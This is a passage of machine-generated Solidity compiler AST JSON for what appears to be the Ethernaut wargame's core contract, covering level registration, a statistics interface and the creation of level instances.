riptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48853,"mutability":"mutable","name":"level","nameLocation":"280:5:38","nodeType":"VariableDeclaration","scope":48858,"src":"272:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48852,"name":"address","nodeType":"ElementaryTypeName","src":"272:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48855,"mutability":"mutable","name":"player","nameLocation":"295:6:38","nodeType":"VariableDeclaration","scope":48858,"src":"287:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48854,"name":"address","nodeType":"ElementaryTypeName","src":"287:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"253:49:38"},"returnParameters":{"id":48857,"nodeType":"ParameterList","parameters":[],"src":"311:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48867,"nodeType":"FunctionDefinition","src":"318:81:38","nodes":[],"functionSelector":"d0f191e0","implemented":false,"kind":"function","modifiers":[],"name":"submitFailure","nameLocation":"327:13:38","parameters":{"id":48865,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48860,"mutability":"mutable","name":"instance","nameLocation":"349:8:38","nodeType":"VariableDeclaration","scope":48867,"src":"341:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48859,"name":"address","nodeType":"ElementaryTypeName","src":"341:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48862,"mutability":"mutable","name":"level","nameLocation":"367:5:38","nodeType":"VariableDeclaration","scope":48867,"src":"359:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48861,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48864,"mutability":"mutable","name":"player","nameLocation":"382:6:38","nodeType":"VariableDeclaration","scope":48867,"src":"374:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48863,"name":"address","nodeType":"ElementaryTypeName","src":"374:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"340:49:38"},"returnParameters":{"id":48866,"nodeType":"ParameterList","parameters":[],"src":"398:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48876,"nodeType":"FunctionDefinition","src":"405:81:38","nodes":[],"functionSelector":"2c038c32","implemented":false,"kind":"function","modifiers":[],"name":"submitSuccess","nameLocation":"414:13:38","parameters":{"id":48874,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48869,"mutability":"mutable","name":"instance","nameLocation":"436:8:38","nodeType":"VariableDeclaration","scope":48876,"src":"428:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48868,"name":"address","nodeType":"ElementaryTypeName","src":"428:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48871,"mutability":"mutable","name":"level","nameLocation":"454:5:38","nodeType":"VariableDeclaration","scope":48876,"src":"446:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48870,"name":"address","nodeType":"ElementaryTypeName","src":"446:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48873,"mutability":"mutable","name":"player","nameLocation":"469:6:38","nodeType":"VariableDeclaration","scope":48876,"src":"461:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48872,"name":"address","nodeType":"ElementaryTypeName","src":"461:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"427:49:38"},"returnParameters":{"id":48875,"nodeType":"ParameterList","parameters":[],"src":"485:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IStatistics","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[48877],"name":"IStatistics","nameLocation":"157:11:38","scope":49102,"usedErrors":[],"usedEvents":[]},{"id":49101,"nodeType":"ContractDefinition","src":"490:2728:38","nodes":[{"id":48882,"nodeType":"VariableDeclaration","src":"526:29:38","nodes":[],"constant":false,"functionSelector":"95e272bd","mutability":"mutable","name":"statistics","nameLocation":"545:10:38","scope":49101,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"},"typeName":{"id":48881,"nodeType":"UserDefinedTypeName","pathNode":{"id":48880,"name":"IStatistics","nameLocations":["526:11:38"],"nodeType":"IdentifierPath","referencedDeclaration":48877,"src":"526:11:38"},"referencedDeclaration":48877,"src":"526:11:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"visibility":"public"},{"id":48886,"nodeType":"VariableDeclaration","src":"672:48:38","nodes":[],"constant":false,"functionSelector":"cf004695","mutability":"mutable","name":"registeredLevels","nameLocation":"704:16:38","scope":49101,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":48885,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":48883,"name":"address","nodeType":"ElementaryTypeName","src":"680:7:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"672:24:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":48884,"name":"bool","nodeType":"ElementaryTypeName","src":"691:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"public"},{"id":48913,"nodeType":"FunctionDefinition","src":"815:161:38","nodes":[],"body":{"id":48912,"nodeType":"Block","src":"869:107:38","nodes":[],"statements":[{"expression":{"id":48901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":48894,"name":"registeredLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48886,"src":"879:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":48899,"indexExpression":{"arguments":[{"id":48897,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48889,"src":"904:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":48896,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"896:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48895,"name":"address","nodeType":"ElementaryTypeName","src":"896:7:38","typeDescriptions":{}}},"id":48898,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"896:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"879:33:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":48900,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"915:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"879:40:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48902,"nodeType":"ExpressionStatement","src":"879:40:38"},{"expression":{"arguments":[{"arguments":[{"id":48908,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48889,"src":"961:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":48907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"953:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48906,"name":"address","nodeType":"ElementaryTypeName","src":"953:7:38","typeDescriptions":{}}},"id":48909,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"953:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":48903,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"929:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":48905,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"940:12:38","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":48849,"src":"929:23:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":48910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"929:40:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48911,"nodeType":"ExpressionStatement","src":"929:40:38"}]},"functionSelector":"202023d4","implemented":true,"kind":"function","modifiers":[{"id":48892,"kind":"modifierInvocation","modifierName":{"id":48891,"name":"onlyOwner","nameLocations":["859:9:38"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"859:9:38"},"nodeType":"ModifierInvocation","src":"859:9:38"}],"name":"registerLevel","nameLocation":"824:13:38","parameters":{"id":48890,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48889,"mutability":"mutable","name":"_level","nameLocation":"844:6:38","nodeType":"VariableDeclaration","scope":48913,"src":"838:12:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":48888,"nodeType":"UserDefinedTypeName","pathNode":{"id":48887,"name":"Level","nameLocations":["838:5:38"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"838:5:38"},"referencedDeclaration":55508,"src":"838:5:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"}],"src":"837:14:38"},"returnParameters":{"id":48893,"nodeType":"ParameterList","parameters":[],"src":"869:0:38"},"scope":49101,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":48927,"nodeType":"FunctionDefinition","src":"982:115:38","nodes":[],"body":{"id":48926,"nodeType":"Block","src":"1044:53:38","nodes":[],"statements":[{"expression":{"id":48924,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48920,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"1054:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":48922,"name":"_statProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48915,"src":"1079:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":48921,"name":"IStatistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48877,"src":"1067:11:38","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IStatistics_$48877_$","typeString":"type(contract IStatistics)"}},"id":48923,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1067:23:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"src":"1054:36:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":48925,"nodeType":"ExpressionStatement","src":"1054:36:38"}]},"functionSelector":"be117dfd","implemented":true,"kind":"function","modifiers":[{"id":48918,"kind":"modifierInvocation","modifierName":{"id":48917,"name":"onlyOwner","nameLocations":["1034:9:38"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"1034:9:38"},"nodeType":"ModifierInvocation","src":"1034:9:38"}],"name":"setStatistics","nameLocation":"991:13:38","parameters":{"id":48916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48915,"mutability":"mutable","name":"_statProxy","nameLocation":"1013:10:38","nodeType":"VariableDeclaration","scope":48927,"src":"1005:18:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48914,"name":"address","nodeType":"ElementaryTypeName","src":"1005:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1004:20:38"},"returnParameters":{"id":48919,"nodeType":"ParameterList","parameters":[],"src":"1044:0:38"},"scope":49101,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48935,"nodeType":"StructDefinition","src":"1222:103:38","nodes":[],"canonicalName":"Ethernaut.EmittedInstanceData","members":[{"constant":false,"id":48929,"mutability":"mutable","name":"player","nameLocation":"1267:6:38","nodeType":"VariableDeclaration","scope":48935,"src":"1259:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48928,"name":"address","nodeType":"ElementaryTypeName","src":"1259:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48932,"mutability":"mutable","name":"level","nameLocation":"1289:5:38","nodeType":"VariableDeclaration","scope":48935,"src":"1283:11:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":48931,"nodeType":"UserDefinedTypeName","pathNode":{"id":48930,"name":"Level","nameLocations":["1283:5:38"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"1283:5:38"},"referencedDeclaration":55508,"src":"1283:5:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"},{"constant":false,"id":48934,"mutability":"mutable","name":"completed","nameLocation":"1309:9:38","nodeType":"VariableDeclaration","scope":48935,"src":"1304:14:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48933,"name":"bool","nodeType":"ElementaryTypeName","src":"1304:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"EmittedInstanceData","nameLocation":"1229:19:38","scope":49101,"visibility":"public"},{"id":48940,"nodeType":"VariableDeclaration","src":"1331:63:38","nodes":[],"constant":false,"functionSelector":"4f17afd8","mutability":"mutable","name":"emittedInstances","nameLocation":"1378:16:38","scope":49101,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData)"},"typeName":{"id":48939,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":48936,"name":"address","nodeType":"ElementaryTypeName","src":"1339:7:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1331:39:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":48938,"nodeType":"UserDefinedTypeName","pathNode":{"id":48937,"name":"EmittedInstanceData","nameLocations":["1350:19:38"],"nodeType":"IdentifierPath","referencedDeclaration":48935,"src":"1350:19:38"},"referencedDeclaration":48935,"src":"1350:19:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData"}}},"visibility":"public"},{"id":48948,"nodeType":"EventDefinition","src":"1401:103:38","nodes":[],"anonymous":false,"eventSelector":"8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179","name":"LevelInstanceCreatedLog","nameLocation":"1407:23:38","parameters":{"id":48947,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48942,"indexed":true,"mutability":"mutable","name":"player","nameLocation":"1447:6:38","nodeType":"VariableDeclaration","scope":48948,"src":"1431:22:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48941,"name":"address","nodeType":"ElementaryTypeName","src":"1431:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48944,"indexed":true,"mutability":"mutable","name":"instance","nameLocation":"1471:8:38","nodeType":"VariableDeclaration","scope":48948,"src":"1455:24:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48943,"name":"address","nodeType":"ElementaryTypeName","src":"1455:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48946,"indexed":true,"mutability":"mutable","name":"level","nameLocation":"1497:5:38","nodeType":"VariableDeclaration","scope":48948,"src":"1481:21:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48945,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1430:73:38"}},{"id":48956,"nodeType":"EventDefinition","src":"1509:97:38","nodes":[],"anonymous":false,"eventSelector":"5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d","name":"LevelCompletedLog","nameLocation":"1515:17:38","parameters":{"id":48955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48950,"indexed":true,"mutability":"mutable","name":"player","nameLocation":"1549:6:38","nodeType":"VariableDeclaration","scope":48956,"src":"1533:22:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48949,"name":"address","nodeType":"ElementaryTypeName","src":"1533:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48952,"indexed":true,"mutability":"mutable","name":"instance","nameLocation":"1573:8:38","nodeType":"VariableDeclaration","scope":48956,"src":"1557:24:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48951,"name":"address","nodeType":"ElementaryTypeName","src":"1557:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48954,"indexed":true,"mutability":"mutable","name":"level","nameLocation":"1599:5:38","nodeType":"VariableDeclaration","scope":48956,"src":"1583:21:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48953,"name":"address","nodeType":"ElementaryTypeName","src":"1583:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1532:73:38"}},{"id":49017,"nodeType":"FunctionDefinition","src":"1612:677:38","nodes":[],"body":{"id":49016,"nodeType":"Block","src":"1670:619:38","nodes":[],"statements":[{"expression":{"arguments":[{"baseExpression":{"id":48963,"name":"registeredLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48886,"src":"1727:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":48968,"indexExpression":{"arguments":[{"id":48966,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"1752:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":48965,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1744:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48964,"name":"address","nodeType":"ElementaryTypeName","src":"1744:7:38","typeDescriptions":{}}},"id":48967,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1744:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1727:33:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"54686973206c6576656c20646f65736e277420657869737473","id":48969,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1762:27:38","typeDescriptions":{"typeIdentifier":"t_stringliteral_e533ba49562bf1b5213195e369024cde6af90ae885982693f8c73a13bc763e49","typeString":"literal_string \"This level doesn't exists\""},"value":"This level doesn't exists"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e533ba49562bf1b5213195e369024cde6af90ae885982693f8c73a13bc763e49","typeString":"literal_string \"This level doesn't exists\""}],"id":48962,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1719:7:38","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1719:71:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48971,"nodeType":"ExpressionStatement","src":"1719:71:38"},{"assignments":[48973],"declarations":[{"constant":false,"id":48973,"mutability":"mutable","name":"instance","nameLocation":"1861:8:38","nodeType":"VariableDeclaration","scope":49016,"src":"1853:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48972,"name":"address","nodeType":"ElementaryTypeName","src":"1853:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":48982,"initialValue":{"arguments":[{"expression":{"id":48979,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1912:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48980,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1916:6:38","memberName":"sender","nodeType":"MemberAccess","src":"1912:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":48974,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"1872:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"id":48975,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1879:14:38","memberName":"createInstance","nodeType":"MemberAccess","referencedDeclaration":55498,"src":"1872:21:38","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$_t_address_$","typeString":"function (address) payable external returns (address)"}},"id":48978,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":48976,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1901:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48977,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1905:5:38","memberName":"value","nodeType":"MemberAccess","src":"1901:9:38","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"1872:39:38","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$_t_address_$value","typeString":"function (address) payable external returns (address)"}},"id":48981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1872:51:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1853:70:38"},{"expression":{"id":48992,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":48983,"name":"emittedInstances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48940,"src":"2004:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData storage ref)"}},"id":48985,"indexExpression":{"id":48984,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48973,"src":"2021:8:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2004:26:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage","typeString":"struct Ethernaut.EmittedInstanceData storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":48987,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2053:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48988,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2057:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2053:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48989,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"2065:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"66616c7365","id":48990,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2073:5:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":48986,"name":"EmittedInstanceData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48935,"src":"2033:19:38","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_EmittedInstanceData_$48935_storage_ptr_$","typeString":"type(struct Ethernaut.EmittedInstanceData storage pointer)"}},"id":48991,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2033:46:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_memory_ptr","typeString":"struct Ethernaut.EmittedInstanceData memory"}},"src":"2004:75:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage","typeString":"struct Ethernaut.EmittedInstanceData storage ref"}},"id":48993,"nodeType":"ExpressionStatement","src":"2004:75:38"},{"expression":{"arguments":[{"id":48997,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48973,"src":"2119:8:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49000,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"2137:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract 